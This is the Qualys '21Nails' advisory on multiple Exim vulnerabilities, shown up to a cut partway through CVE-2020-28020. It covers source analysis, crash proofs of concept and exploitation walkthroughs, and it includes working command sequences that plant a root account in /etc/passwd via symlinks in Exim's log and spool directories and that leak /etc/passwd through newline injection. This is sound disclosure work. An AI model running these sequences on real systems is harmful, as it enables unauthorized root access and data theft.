CVE-2020-28010

Qualys Security Advisory 21Nails: Multiple vulnerabilities in Exim ======================================================================== Contents ======================================================================== Summary Local vulnerabilities - CVE-2020-28007: Link attack in Exim’s log directory - CVE-2020-28008: Assorted attacks in Exim’s spool directory - CVE-2020-28014: Arbitrary file creation and clobbering - CVE-2021-27216: Arbitrary file deletion - CVE-2020-28011: Heap buffer overflow in queue_run() - CVE-2020-28010: Heap out-of-bounds write in main() - CVE-2020-28013: Heap buffer overflow in parse_fix_phrase() - CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase() - CVE-2020-28015: New-line injection into spool header file (local) - CVE-2020-28012: Missing close-on-exec flag for privileged pipe - CVE-2020-28009: Integer overflow in get_stdinput() Remote vulnerabilities - CVE-2020-28017: Integer overflow in receive_add_recipient() - CVE-2020-28020: Integer overflow in receive_msg() - CVE-2020-28023: Out-of-bounds read in smtp_setup_msg() - CVE-2020-28021: New-line injection into spool header file (remote) - CVE-2020-28022: Heap out-of-bounds read and write in extract_option() - CVE-2020-28026: Line truncation and injection in spool_read_header() - CVE-2020-28019: Failure to reset function pointer after BDAT error - CVE-2020-28024: Heap buffer underflow in smtp_ungetc() - CVE-2020-28018: Use-after-free in tls-openssl.c - CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash() Acknowledgments Timeline ======================================================================== Summary ======================================================================== We recently audited central parts of the Exim mail server (https://en.wikipedia.org/wiki/Exim) and discovered 21 vulnerabilities (from CVE-2020-28007 to CVE-2020-28026, plus CVE-2021-27216): 11 local vulnerabilities, and 10 remote vulnerabilities. Unless otherwise noted, all versions of Exim are affected since at least the beginning of its Git history, in 2004. We have not tried to exploit all of these vulnerabilities, but we successfully exploited 4 LPEs (Local Privilege Escalations) and 3 RCEs (Remote Code Executions): - CVE-2020-28007 (LPE, from user “exim” to root); - CVE-2020-28008 (LPE, from user “exim” to root); - CVE-2020-28015 (LPE, from any user to root); - CVE-2020-28012 (LPE, from any user to root, if allow_filter is true); - CVE-2020-28020 (unauthenticated RCE as "exim", in Exim < 4.92); - CVE-2020-28018 (unauthenticated RCE as “exim", in 4.90 <= Exim < 4.94, if TLS encryption is provided by OpenSSL); - CVE-2020-28021 (authenticated RCE, as root); - CVE-2020-28017 is also exploitable (unauthenticated RCE as “exim”), but requires more than 25GB of memory in the default configuration. We will not publish our exploits for now; instead, we encourage other security researchers to write and publish their own exploits: - This advisory contains sufficient information to develop reliable exploits for these vulnerabilities; in fact, we believe that better exploitation methods exist. - We hope that more security researchers will look into Exim’s code and report their findings; indeed, we discovered several of these vulnerabilities while working on our exploits. - We will answer (to the best of our abilities) any questions regarding these vulnerabilities and exploits on the public “oss-security” list (https://oss-security.openwall.org/wiki/mailing-lists/oss-security). Last-minute note: as explained in the Timeline, we developed a minimal set of patches for these vulnerabilities; for reference and comparison, it is attached to this advisory and is also available at https://www.qualys.com/research/security-advisories/. ======================================================================== CVE-2020-28007: Link attack in Exim’s log directory ======================================================================== The Exim binary is set-user-ID-root, and Exim operates as root in its log directory, which belongs to the “exim” user: ------------------------------------------------------------------------ drwxr-s— 2 Debian-exim adm 4096 Nov 4 06:16 /var/log/exim4 ------------------------------------------------------------------------ An attacker who obtained the privileges of the “exim” user (by exploiting CVE-2020-28020 or CVE-2020-28018 for example) can exploit this local vulnerability to obtain full root privileges. Indeed, the following code opens a log file in append mode, as root (lines 465-469): ------------------------------------------------------------------------ 22 static uschar *log_names[] = { US"main", US"reject", US"panic", US"debug” }; … 382 static void 383 open_log(int *fd, int type, uschar *tag) 384 { … 387 uschar buffer[LOG_NAME_SIZE]; … 398 ok = string_format(buffer, sizeof(buffer), CS file_path, log_names[type]); … 465 *fd = Uopen(buffer, 466 #ifdef O_CLOEXEC 467 O_CLOEXEC | 468 #endif 469 O_APPEND|O_WRONLY, LOG_MODE); ------------------------------------------------------------------------ The name of the log file in buffer is derived from file_path, which is derived from log_file_path, a format string defined at compile time (or re-defined by the configuration file). On Debian, log_file_path is "/var/log/exim4/%slog", and “%s” is converted to "main", "reject", "panic", or “debug” at run time (line 398). An attacker with the privileges of the “exim” user can create a symlink (or a hardlink) in the log directory, append arbitrary contents to an arbitrary file (to /etc/passwd, for example), and obtain full root privileges: ------------------------------------------------------------------------ id uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim) cd /var/log/exim4 ln -s -f /etc/passwd paniclog /usr/sbin/exim4 -Rr $’X\n_trinity:SCB2INhNOLCrc:0:0::/:\nX[' grep -1 _trinity /etc/passwd 2021-03-09 09:45:05 regular expression error: missing terminating ] for character class at offset 35 while compiling X _trinity:SCB2INhNOLCrc:0:0::/: X[ su -l _trinity Password: Z1ON0101 id uid=0(root) gid=0(root) groups=0(root) ------------------------------------------------------------------------ ======================================================================== CVE-2020-28008: Assorted attacks in Exim’s spool directory ======================================================================== Exim also operates as root in its spool directory, which belongs to the “exim” user: ------------------------------------------------------------------------ drwxr-x— 5 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4 drwxr-x— 2 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4/db drwxr-x— 2 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4/input drwxr-x— 2 Debian-exim Debian-exim 4096 Nov 4 06:16 /var/spool/exim4/msglog ------------------------------------------------------------------------ An attacker who obtained the privileges of the “exim” user can exploit this local vulnerability to obtain full root privileges. Various attack vectors exist: - The attacker can directly write to a spool header file (in the “input” subdirectory) and reuse our exploitation technique for CVE-2020-28015. - The attacker can create a long-named file in the “db” subdirectory and overflow a stack-based buffer (at line 208): ------------------------------------------------------------------------ 87 open_db * 88 dbfn_open(uschar *name, int flags, open_db *dbblock, BOOL lof) 89 { … 94 uschar dirname[256], filename[256]; … 111 snprintf(CS dirname, sizeof(dirname), "%s/db", spool_directory); 112 snprintf(CS filename, sizeof(filename), "%s/%s.lockfile", dirname, name); … 198 uschar *lastname = Ustrrchr(filename, ‘/’) + 1; 199 int namelen = Ustrlen(name); 200 201 *lastname = 0; 202 dd = opendir(CS filename); 203 204 while ((ent = readdir(dd))) 205 if (Ustrncmp(ent->d_name, name, namelen) == 0) 206 { 207 struct stat statbuf; 208 Ustrcpy(lastname, ent->d_name); ------------------------------------------------------------------------ Proof of concept: ------------------------------------------------------------------------ id uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim) cd /var/spool/exim4/db rm -f retry* touch retry`perl -e 'print “A” x (255-5)'` /usr/sbin/exim4 -odf -oep postmaster < /dev/null *** stack smashing detected ***: terminated 2020-11-04 15:34:02 1kaPTm-0000gu-I0 process 2661 crashed with signal 6 while delivering 1kaPTm-0000gu-I0 ------------------------------------------------------------------------ - The attacker can create a symlink (or a hardlink) in the “db” subdirectory and take ownership of an arbitrary file (at line 212): ------------------------------------------------------------------------ 204 while ((ent = readdir(dd))) 205 if (Ustrncmp(ent->d_name, name, namelen) == 0) 206 { 207 struct stat statbuf; 208 Ustrcpy(lastname, ent->d_name); 209 if (Ustat(filename, &statbuf) >= 0 && statbuf.st_uid != exim_uid) 210 { 211 DEBUG(D_hints_lookup) debug_printf_indent("ensuring %s is owned by exim\n", filename); 212 if (Uchown(filename, exim_uid, exim_gid)) ------------------------------------------------------------------------ Exploitation: ------------------------------------------------------------------------ id uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim) cd /var/spool/exim4/db rm -f retry* ln -s -f /etc/passwd retry.passwd /usr/sbin/exim4 -odf -oep postmaster < /dev/null ls -l /etc/passwd -rw-r–r-- 1 Debian-exim Debian-exim 1580 Nov 4 21:55 /etc/passwd echo ‘_francoise:$1$dAuS1HDV$mT0noBeBopmZgLYD5ZiZb1:0:0::/:’ >> /etc/passwd su -l _francoise Password: RadicalEdward id uid=0(root) gid=0(root) groups=0(root) ------------------------------------------------------------------------ Side note: CVE-2020-28007 and CVE-2020-28008 are very similar to https://www.halfdog.net/Security/2016/DebianEximSpoolLocalRoot/. ======================================================================== CVE-2020-28014: Arbitrary file creation and clobbering ======================================================================== An attacker who obtained the privileges of the “exim” user can abuse the -oP override_pid_file_path option to create (or overwrite) an arbitrary file, as root. The attacker does not, however, control the contents of this file: ------------------------------------------------------------------------ id uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim) /usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload & [1] 3371 sleep 3 kill -9 “$!” [1]+ Killed /usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload ls -l /etc/ld.so.preload ERROR: ld.so: object ‘3371’ from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. -rw-r–r-- 1 root Debian-exim 5 Nov 4 20:20 /etc/ld.so.preload ------------------------------------------------------------------------ The attacker can also combine this vulnerability with CVE-2020-28007 or CVE-2020-28008 to create an arbitrary file with arbitrary contents and obtain full root privileges. ======================================================================== CVE-2021-27216: Arbitrary file deletion ======================================================================== While working on a patch for CVE-2020-28014, we discovered another related vulnerability: any local user can delete any arbitrary file as root (for example, /etc/passwd), by abusing the -oP and -oPX options in delete_pid_file(): ------------------------------------------------------------------------ 932 void 933 delete_pid_file(void) 934 { 935 uschar * daemon_pid = string_sprintf("%d\n", (int)getppid()); … 939 if ((f = Ufopen(pid_file_path, “rb”))) 940 { 941 if ( fgets(CS big_buffer, big_buffer_size, f) 942 && Ustrcmp(daemon_pid, big_buffer) == 0 943 ) 944 if (Uunlink(pid_file_path) == 0) ------------------------------------------------------------------------ To exploit this vulnerability, a local attacker must win an easy race condition between the fopen() at line 939 and the unlink() at line 944; this is left as an exercise for the interested reader. ------------------------------------------------------------------------ History ------------------------------------------------------------------------ This vulnerability was introduced in Exim 4.94: ------------------------------------------------------------------------ commit 01446a56c76aa5ac3213a86f8992a2371a8301f3 Date: Sat Nov 9 16:04:14 2019 +0000 Remove the daemon pid file when exit is due to SIGTERM. Bug 340 ------------------------------------------------------------------------ ======================================================================== CVE-2020-28011: Heap buffer overflow in queue_run() ======================================================================== Through the -R deliver_selectstring and -S deliver_selectstring_sender options, the “exim” user can overflow the heap-based big_buffer in queue_run() (lines 419 and 423): ------------------------------------------------------------------------ 412 p = big_buffer; … 418 if (deliver_selectstring) 419 p += sprintf(CS p, " -R%s %s", f.deliver_selectstring_regex? “r” : "", 420 deliver_selectstring); 421 422 if (deliver_selectstring_sender) 423 p += sprintf(CS p, " -S%s %s", f.deliver_selectstring_sender_regex? “r” : "", 424 deliver_selectstring_sender); ------------------------------------------------------------------------ We have not tried to exploit this vulnerability; if exploitable, it would allow an attacker who obtained the privileges of the “exim” user to obtain full root privileges. ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ id uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim) /usr/sbin/exim4 -R `perl -e 'print “A” x 128000’` malloc(): invalid size (unsorted) Aborted /usr/sbin/exim4 -S `perl -e ‘print “A” x 128000’` malloc(): invalid size (unsorted) Aborted ======================================================================== CVE-2020-28010: Heap out-of-bounds write in main() ======================================================================== For debugging and logging purposes, Exim copies the current working directory (initial_cwd) into the heap-based big_buffer: ------------------------------------------------------------------------ 3665 initial_cwd = os_getcwd(NULL, 0); … 3945 uschar *p = big_buffer; 3946 Ustrcpy(p, “cwd= (failed)"); … 3952 Ustrncpy(p + 4, initial_cwd, big_buffer_size-5); 3953 p += 4 + Ustrlen(initial_cwd); … 3956 *p = '\0’; ------------------------------------------------------------------------ The strncpy() at line 3952 cannot overflow big_buffer, but (on Linux at least) initial_cwd can be much longer than big_buffer_size (16KB): line 3953 can increase p past big_buffer’s end, and line 3956 (and beyond) can write out of big_buffer’s bounds. We have not tried to exploit this vulnerability; if exploitable, it would allow an unprivileged local attacker to obtain full root privileges. ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ id uid=1001(jane) gid=1001(jane) groups=1001(jane) perl -e ‘use strict; my $a = “A” x 255; for (my $i = 0; $i < 4096; $i++) { mkdir "$a", 0700 or die; chdir “$a” or die; } exec “/usr/sbin/exim4", "-d+all” or die;’ … 23:50:39 5588 changed uid/gid: forcing real = effective 23:50:39 5588 uid=0 gid=1001 pid=5588 … Segmentation fault ------------------------------------------------------------------------ History ------------------------------------------------------------------------ This vulnerability was introduced in Exim 4.92: ------------------------------------------------------------------------ commit 805fd869d551c36d1d77ab2b292a7008d643ca79 Date: Sat May 19 12:09:55 2018 -0400 … Ustrncpy(p + 4, initial_cwd, big_buffer_size-5); + p += 4 + Ustrlen(initial_cwd); + /* in case p is near the end and we don’t provide enough space for + * string_format to be willing to write. */ + *p = '\0’; - while (*p) p++; ------------------------------------------------------------------------ ======================================================================== CVE-2020-28013: Heap buffer overflow in parse_fix_phrase() ======================================================================== If a local attacker executes Exim with a -F '.(' option (for example), then parse_fix_phrase() calls strncpy() with a -1 size (which overflows the destination buffer, because strncpy(dest, src, n) “writes additional null bytes to dest to ensure that a total of n bytes are written”). Indeed, at line 1124 s and ss are both equal to end, at line 1125 ss is decremented, and at line 1127 ss-s is equal to -1: ------------------------------------------------------------------------ 1124 { 1125 if (ss >= end) ss–; 1126 *t++ = '('; 1127 Ustrncpy(t, s, ss-s); ------------------------------------------------------------------------ We have not tried to exploit this vulnerability; if exploitable, it would allow an unprivileged local attacker to obtain full root privileges. ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ id uid=1001(jane) gid=1001(jane) groups=1001(jane) /usr/sbin/exim4 -bt -F '.(' Segmentation fault ======================================================================== CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase() ======================================================================== If a local attacker executes Exim with an empty originator_name (-F ‘’), then parse_fix_phrase() allocates a zero-sized buffer (at line 982), but writes a null byte to buffer[1] (lines 986 and 1149): ------------------------------------------------------------------------ 4772 originator_name = parse_fix_phrase(originator_name, Ustrlen(originator_name)); ------------------------------------------------------------------------ 960 const uschar * 961 parse_fix_phrase(const uschar *phrase, int len) 962 { … 982 buffer = store_get(len*4, is_tainted(phrase)); 983 984 s = phrase; 985 end = s + len; 986 yield = t = buffer + 1; 987 988 while (s < end) 989 { … 1147 } 1148 1149 *t = 0; ------------------------------------------------------------------------ We have not tried to exploit this vulnerability; if exploitable, it would allow an unprivileged local attacker to obtain full root privileges. ------------------------------------------------------------------------ History ------------------------------------------------------------------------ This vulnerability was introduced by: ------------------------------------------------------------------------ commit 3c90bbcdc7cf73298156f7bcd5f5e750e7814e72 Date: Thu Jul 9 15:30:55 2020 +0100 … +JH/18 Bug 2617: Fix a taint trap in parse_fix_phrase(). Previously when the + name being quoted was tainted a trap would be taken. Fix by using + dynamicaly created buffers. The routine could have been called by a + rewrite with the “h” flag, by using the "-F” command-line option, or + by using a “name=” option on a control=submission ACL modifier. ------------------------------------------------------------------------ ======================================================================== CVE-2020-28015: New-line injection into spool header file (local) ======================================================================== When Exim receives a mail, it creates two files in the “input” subdirectory of its spool directory: a “data” file, which contains the body of the mail, and a “header” file, which contains the headers of the mail and important metadata (the sender and the recipient addresses, for example). Such a header file consists of lines of text separated by ‘\n’ characters. Unfortunately, an unprivileged local attacker can send a mail to a recipient whose address contains ‘\n’ characters, and can therefore inject new lines into the spool header file and change Exim’s behavior: ------------------------------------------------------------------------ id uid=1001(jane) gid=1001(jane) groups=1001(jane) /usr/sbin/exim4 -odf -oep $’"Lisbeth\nSalander"’ < /dev/null 2020-11-05 09:11:46 1kafzO-0001ho-Tf Format error in spool file 1kafzO-0001ho-Tf-H: size=607 ------------------------------------------------------------------------ The effect of this vulnerability is similar to CVE-2020-8794 in OpenSMTPD, but in Exim’s case it is not enough to execute arbitrary commands. To understand how we transformed this vulnerability into an arbitrary command execution, we must digress briefly. ------------------------------------------------------------------------ Digression ------------------------------------------------------------------------ Most of the vulnerabilities in this advisory are memory corruptions, and despite modern protections such as ASLR, NX, and malloc hardening, memory corruptions in Exim are easy to exploit: 1/ Exim’s memory allocator (store.c, which calls malloc() and free() internally) unintentionally provides attackers with powerful exploit primitives. In particular, if an attacker can pass a negative size to the allocator (through an integer overflow or direct control), then: ------------------------------------------------------------------------ 119 static void *next_yield[NPOOLS]; 120 static int yield_length[NPOOLS] = { -1, -1, -1, -1, -1, -1 }; … 231 void * 232 store_get_3(int size, BOOL tainted, const char *func, int linenumber) 233 { … 248 if (size > yield_length[pool]) 249 { … 294 } … 299 store_last_get[pool] = next_yield[pool]; … 316 next_yield[pool] = (void *)(CS next_yield[pool] + size); 317 yield_length[pool] -= size; 318 return store_last_get[pool]; 319 } ------------------------------------------------------------------------ 1a/ At line 248, store_get() believes that the current block of memory is large enough (because size is negative), and goes to line 299. As a result, store_get()'s caller can overflow the current block of memory (a “forward-overflow”). 1b/ At line 317, the free size of the current block of memory (yield_length) is mistakenly increased (because size is negative), and at line 316, the next pointer returned by store_get() (next_yield) is mistakenly decreased (because size is negative). As a result, the next memory allocation can overwrite the beginning of Exim’s heap: a relative write-what-where, which naturally bypasses ASLR (a "backward-jump", or “back-jump”). 2/ The beginning of the heap contains Exim’s configuration, which includes various strings that are passed to expand_string() at run time. Consequently, an attacker who can “back-jump” can overwrite these strings with “${run{…}}” and execute arbitrary commands (thus bypassing NX). The first recorded use of expand_string() in an Exim exploit is CVE-2010-4344 (and CVE-2010-4345), an important part of Internet folklore: https://www.openwall.com/lists/oss-security/2010/12/10/1 Note: Exim 4.94 (the latest version) introduces “tainted” memory (i.e., untrusted, possibly attacker-controlled data) and refuses to process it in expand_string(). This mechanism protects Exim against unintentional expansion of tainted data (CVE-2014-2957 and CVE-2019-10149), but NOT against memory corruption: an attacker can simply overwrite untainted memory with tainted data, and still execute arbitrary commands in expand_string(). For example, we exploited CVE-2020-28015, CVE-2020-28012, and CVE-2020-28021 in Exim 4.94. ------------------------------------------------------------------------ Exploitation ------------------------------------------------------------------------ CVE-2020-28015 allows us to inject new lines into a spool header file. To transform this vulnerability into an arbitrary command execution (as root, since deliver_drop_privilege is false by default), we exploit the following code in spool_read_header(): ------------------------------------------------------------------------ 341 int n; … 910 while ((n = fgetc(fp)) != EOF) 911 { … 914 int i; 915 916 if (!isdigit(n)) goto SPOOL_FORMAT_ERROR; 917 if(ungetc(n, fp) == EOF || fscanf(fp, "%d%c ", &n, flag) == EOF) 918 goto SPOOL_READ_ERROR; … 927 h->text = store_get(n+1, TRUE); /* tainted */ … 935 for (i = 0; i < n; i++) 936 { 937 int c = fgetc(fp); … 940 h->text[i] = c; 941 } 942 h->text[i] = 0; ------------------------------------------------------------------------ - at line 917, we start a fake header with a negative length n; - at line 927, we back-jump to the beginning of the heap (Digression 1b), because n is negative; - at line 935, we avoid the forward-overflow (Digression 1a), because n is negative; - then, our next fake header is allocated to the beginning of the heap and overwrites Exim’s configuration strings (with “${run{command}}”); - last, our arbitrary command is executed when deliver_message() processes our fake (injected) recipient and expands the overwritten configuration strings (Digression 2). We can also transform CVE-2020-28015 into an information disclosure, by exploiting the following code in spool_read_header(): ------------------------------------------------------------------------ 756 for (recipients_count = 0; recipients_count < rcount; recipients_count++) 757 { … 765 if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR; 766 nn = Ustrlen(big_buffer); 767 if (nn < 2) goto SPOOL_FORMAT_ERROR; … 772 p = big_buffer + nn - 1; 773 *p-- = 0; … 809 while (isdigit(*p)) p–; … 840 else if (*p == ‘#’) 841 { 842 int flags; … 848 (void)sscanf(CS p+1, "%d", &flags); 849 850 if ((flags & 0x01) != 0) /* one_time data exists */ 851 { 852 int len; 853 while (isdigit(*(–p)) || *p == ‘,’ || *p == '-'); 854 (void)sscanf(CS p+1, "%d,%d", &len, &pno); 855 *p = 0; 856 if (len > 0) 857 { 858 p -= len; 859 errors_to = string_copy_taint(p, TRUE); 860 } 861 } 862 863 *(–p) = 0; /* Terminate address */ ------------------------------------------------------------------------ For example, if we send a mail to the recipient ‘"X@localhost\njane@localhost 8192,-1#1\n\n1024* "’ (where jane is our username, and localhost is one of Exim’s local_domains), then: - at line 848, we set flags to 1; - at line 854, we set len to 8KB; - at line 858, we decrease p (by 8KB) toward the beginning of the heap; - at line 859, we read the errors_to string out of big_buffer’s bounds; - finally, we receive our mail, which includes the out-of-bounds errors_to string in its “From” and “Return-path:” headers (in this example, errors_to contains a fragment of /etc/passwd): ------------------------------------------------------------------------ id uid=1001(jane) gid=1001(jane) groups=1001(jane) ( printf 'Message-Id: X\n’; printf 'From: X@localhost\n’; printf ‘Date: X\n’; printf ‘X:%01024d2* X\n’ 0; ) | /usr/sbin/exim4 -odf -oep $’"X@localhost\njane@localhost 8192,-1#1\n\n1024* "’ jane cat /var/mail/jane From sys:x:3: adm:x:4: … Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin jane:x:1001:1001:,:/home/jane:/bin/bash Thu Nov 05 10:49:07 2020 Return-path: < sys:x:3: adm:x:4: … systemd-timesync:x:102: systemd-network:x:103: sy> … ------------------------------------------------------------------------ ======================================================================== CVE-2020-28012: Missing close-on-exec flag for privileged pipe ======================================================================== Exim supports a special kind of .forward file called “exim filter” (if allow_filter is true, the default on Debian). To handle such a filter, the privileged Exim process creates an unprivileged process and a pipe for communication. The filter process can fork() and execute arbitrary commands with expand_string(); this is not a security issue in itself, because the filter process is unprivileged. Unfortunately, the writable end of the communication pipe is not closed-on-exec and an unprivileged local attacker can therefore send arbitrary data to the privileged Exim process (which is running as root). ------------------------------------------------------------------------ Exploitation ------------------------------------------------------------------------ We exploit this vulnerability through the following code in rda_interpret(), which reads our arbitrary data in the privileged Exim process: ------------------------------------------------------------------------ 791 fd = pfd[pipe_read]; 792 if (read(fd, filtertype, sizeof(int)) != sizeof(int) || 793 read(fd, &yield, sizeof(int)) != sizeof(int) || 794 !rda_read_string(fd, error)) goto DISASTER; … 804 if (!rda_read_string(fd, &s)) goto DISASTER; … 956 *error = string_sprintf(“internal problem in %s: failure to transfer " 957 “data from subprocess: status=%04x%s%s%s", rname, 958 status, readerror, 959 (*error == NULL)? US"” : US": error=", 960 (*error == NULL)? US"” : *error); 961 log_write(0, LOG_MAIN|LOG_PANIC, "%s", *error); ------------------------------------------------------------------------ where: ------------------------------------------------------------------------ 467 static BOOL 468 rda_read_string(int fd, uschar **sp) 469 { 470 int len; 471 472 if (read(fd, &len, sizeof(int)) != sizeof(int)) return FALSE; … 479 if (read(fd, *sp = store_get(len, FALSE), len) != len) return FALSE; 480 return TRUE; 481 } ------------------------------------------------------------------------ - at line 794, we allocate an arbitrary string (of arbitrary length), error; - at line 804 (and line 479), we back-jump to the beginning of the heap (Digression 1b) and avoid the forward-overflow (Digression 1a) because our len is negative; - at line 956, we overwrite the beginning of the heap with a string that we control (error); we tried to overwrite Exim’s configuration strings (Digression 2) but failed to execute arbitrary commands; instead, we overwrite file_path, a copy of log_file_path (mentioned in CVE-2020-28007); - at line 961, we append an arbitrary string that we control (error) to a file whose name we control (file_path): we add an arbitrary user to /etc/passwd and obtain full root privileges. This first version of our exploit succeeds on Debian oldstable’s exim4_4.89-2+deb9u7 (it fails on Debian stable’s exim4_4.92-8+deb10u4 because of a gstring_reset_unused() in string_sprintf(); we have not tried to work around this problem), but it fails on Debian testing’s exim4_4.94-8: the pool of memory that we back-jump at line 804 is untainted, but the string at line 956 is tainted and written to a different pool of memory (because our primary recipient, and hence rname, are tainted). To work around this problem, our “exim filter” generates a secondary recipient that is naturally untainted (line 479). When this secondary recipient is processed, the string at line 956 is untainted and thus overwrites the beginning of the heap (because it is allocated in the untainted pool of memory that we back-jumped at line 804): this second version of our exploit also succeeds on Debian testing. Finally, we use one noteworthy trick in our exploit: in theory, the string that overwrites file_path at line 956 cannot be longer than 256 bytes (LOG_NAME_SIZE); this significantly slows our brute-force of the correct back-jump distance. In practice, we can overwrite file_path with a much longer string (up to 8KB, LOG_BUFFER_SIZE) because file_path is a format string, and “%0Lu” (or “%.0D”) is a NOP in Exim’s string_format() function: it consumes no argument and produces no output, thus avoiding the overflow of buffer[LOG_NAME_SIZE] in open_log(). ======================================================================== CVE-2020-28009: Integer overflow in get_stdinput() ======================================================================== The following loop reads lines from stdin as long as the last character of the lines is ‘\\’ (line 1273). Each line that is read is appended to a "growable string", the gstring g (at line 1266): ------------------------------------------------------------------------ 1229 gstring * g = NULL; … 1233 for (i = 0;; i++) 1234 { 1235 uschar buffer[1024]; … 1252 if (Ufgets(buffer, sizeof(buffer), stdin) == NULL) break; 1253 p = buffer; … 1258 ss = p + (int)Ustrlen§; … 1266 g = string_catn(g, p, ss - p); … 1273 if (ss == p || g->s[g->ptr-1] != ‘\\’) 1274 break; ------------------------------------------------------------------------ Eventually, the integer g->size of the growable string overflows, and becomes negative (in gstring_grow(), which is called by string_catn()). Consequently, in store_newblock() (which is called by gstring_grow()), newsize is negative: ------------------------------------------------------------------------ 506 void * 507 store_newblock_3(void * block, int newsize, int len, 508 const char * filename, int linenumber) 509 { 510 BOOL release_ok = store_last_get[store_pool] == block; 511 uschar * newtext = store_get(newsize); 512 513 memcpy(newtext, block, len); 514 if (release_ok) store_release_3(block, filename, linenumber); 515 return (void *)newtext; 516 } ------------------------------------------------------------------------ - the store_get() at line 511 back-jumps the current block of memory (Digression 1b); - the memcpy() at line 513 forward-overflows the current block of memory (Digression 1a). If exploitable, this vulnerability would allow an unprivileged local attacker to obtain full root privileges. We have not tried to exploit this vulnerability, because it took more than 5 days to overflow the integer g->size. Indeed, the loop in get_stdinput() has an O(n^2) time complexity: for each line that is read, store_newblock() allocates a new block of memory (at line 511) and recopies the entire contents of the growable string (at line 513). ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ id uid=1001(jane) gid=1001(jane) groups=1001(jane) ( for ((i=0; i<4096; i++)); do echo “`date` $i” >&2; perl -e 'print “\\” x 1048576’; done ) | /usr/sbin/exim4 -bt | wc Program received signal SIGSEGV, Segmentation fault. ======================================================================== CVE-2020-28017: Integer overflow in receive_add_recipient() ======================================================================== By default, Exim does not limit the number of recipients (the number of valid RCPT TO commands) for a mail. But after 52428800 (50M) recipients, the multiplication at line 492 overflows, and the size that is passed to store_get() becomes negative (2*50M * 40B = -96MB): ------------------------------------------------------------------------ 484 void 485 receive_add_recipient(uschar *recipient, int pno) 486 { 487 if (recipients_count >= recipients_list_max) 488 { 489 recipient_item *oldlist = recipients_list; 490 int oldmax = recipients_list_max; 491 recipients_list_max = recipients_list_max ? 2*recipients_list_max : 50; 492 recipients_list = store_get(recipients_list_max * sizeof(recipient_item)); 493 if (oldlist != NULL) 494 memcpy(recipients_list, oldlist, oldmax * sizeof(recipient_item)); 495 } ------------------------------------------------------------------------ - at line 492, store_get() back-jumps the current block of memory (Digression 1b), by -96MB; - at line 494, memcpy() forward-overflows the current block of memory (Digression 1a), by nearly 2GB (50M * 40B = 2000MB). Initially, we thought that CVE-2020-28017 would be the perfect vulnerability: - it affects all versions of Exim (since at least the beginning of its Git history in 2004); - it is certainly exploitable (an unauthenticated RCE as the “exim” user): the forward-overflow can be absorbed to avoid a crash, and the back-jump can be directed onto Exim’s configuration (Digression 2); - a back-of-the-envelope calculation suggested that an exploit would require “only” 6GB of memory: 2*2GB for all the recipients_lists, and 2GB of recipient addresses to absorb the forward-overflow. Eventually, however, we abandoned the exploitation of CVE-2020-28017: - On Exim 4.89 (Debian oldstable), the ACLs (Access Control Lists) for the RCPT TO command consume approximately 512 bytes per recipient: an exploit would require more than 50M * 512B = 25GB of memory. Instead, we decided to exploit another vulnerability, CVE-2020-28020, which requires only 3GB of memory. - On Exim 4.92 (Debian stable), the ACLs for RCPT TO consume at least 4KB per recipient. Indeed, this version’s string_sprintf() allocates a whole new 32KB memory block, but uses only one page (4KB): an exploit would require more than 50M * 4KB = 200GB of memory. - On Exim 4.94 (Debian testing), the problem with string_sprintf() was solved, and an exploit would therefore require “only” 25GB of memory. However, the “tainted” checks create another problem: each RCPT TO allocates T blocks of tainted memory, and makes U is_tainted() checks on untainted memory, but each check traverses the complete linked list of tainted memory blocks. For n recipients, this has an O(n^2) time complexity (roughly U*T*(n^2)/2): it would take months to reach 50M recipients. CVE-2020-28017 is also exploitable locally (through -bS and smtp_setup_batch_msg(), which does not have ACLs), and would allow an unprivileged local attacker to obtain the privileges of the “exim” user. But better vulnerabilities exist: CVE-2020-28015 and CVE-2020-28012 are locally exploitable and yield full root privileges. ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ id uid=1001(jane) gid=1001(jane) groups=1001(jane) ( sleep 10; echo 'EHLO test’; sleep 3; echo 'MAIL FROM:<>’; sleep 3; for ((i=0; i<64000000; i++)); do [ "$((i%1000000))" -eq 0 ] && echo “`date` $i” >&2; echo 'RCPT TO:lp@localhost’; done ) | /usr/sbin/exim4 -bS | wc Program received signal SIGSEGV, Segmentation fault. ======================================================================== CVE-2020-28020: Integer overflow in receive_msg() ======================================================================== During our work on Exim, we stumbled across the following commit: ------------------------------------------------------------------------ commit 56ac062a3ff94fc4e1bbfc2293119c079a4e980b Date: Thu Jan 10 21:15:11 2019 +0000 … +JH/41 Fix the loop reading a message header line to check for integer overflow, + and more-often against header_maxsize. Previously a crafted message could + induce a crash of the recive process; now the message is cleanly rejected. … + if (header_size >= INT_MAX/2) + goto OVERSIZE; header_size *= 2; ------------------------------------------------------------------------ This vulnerability is exploitable in all Exim versions before 4.92 and allows an unauthenticated remote attacker to execute arbitrary commands as the “exim” user. Because this commit was not identified as a security patch, it was not backported to LTS (Long Term Support) distributions. For example, Debian oldstable’s package (exim4_4.89-2+deb9u7) contains all known security patches, but is vulnerable to CVE-2020-28020 and hence remotely exploitable. By default, Exim limits the size of a mail header to 1MB (header_maxsize). Unfortunately, an attacker can bypass this limit by sending only continuation lines (i.e., ‘\n’ followed by ' ' or ‘\t’), thereby overflowing the integer header_size at line 1782: ------------------------------------------------------------------------ 1778 if (ptr >= header_size - 4) 